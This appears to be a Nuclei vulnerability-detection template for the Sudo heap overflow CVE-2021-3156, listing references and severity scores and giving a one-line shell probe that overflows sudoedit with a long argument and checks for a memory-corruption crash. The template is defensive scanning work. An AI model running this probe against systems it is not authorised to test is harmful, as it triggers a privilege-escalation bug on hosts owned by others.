2023-12-30 15:05:49 +00:00
id : CVE-2021-3156
info :
name : Sudo Baron Samedit - Local Privilege Escalation
author : pussycat0x
severity : high
description : |
Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
reference :
- https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
- https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
- https://infosecwriteups.com/baron-samedit-cve-2021-3156-tryhackme-76d7dedc3cff
2024-03-04 08:20:22 +00:00
- http://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
- http://packetstormsecurity.com/files/176932/glibc-syslog-Heap-Based-Buffer-Overflow.html
classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.8
cve-id : CVE-2021-3156
cwe-id : CWE-193
epss-score : 0.97085
2024-03-23 09:28:19 +00:00
epss-percentile : 0.99757
2024-03-04 08:20:22 +00:00
cpe : cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
2023-12-30 15:05:49 +00:00
metadata :
verified : true
2024-03-04 08:20:22 +00:00
vendor : sudo_project
product : sudo
2024-04-08 11:34:33 +00:00
tags : packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev
2023-12-30 15:05:49 +00:00
self-contained : true
code :
- engine :
- sh
- bash
source : |
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
matchers :
- type : word
words :
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition : and
2024-03-25 11:57:16 +00:00
# digest: 4a0a0047304502204de6d29ee97c296f1046225fd664237cb80c163370f316bfa2c0174718fa0654022100cbd49f46b75314934af75dde946dbe4a3d135d87368f2dead3b9b2fa40bb839b:922c64590222798bb761d5b6d8e72950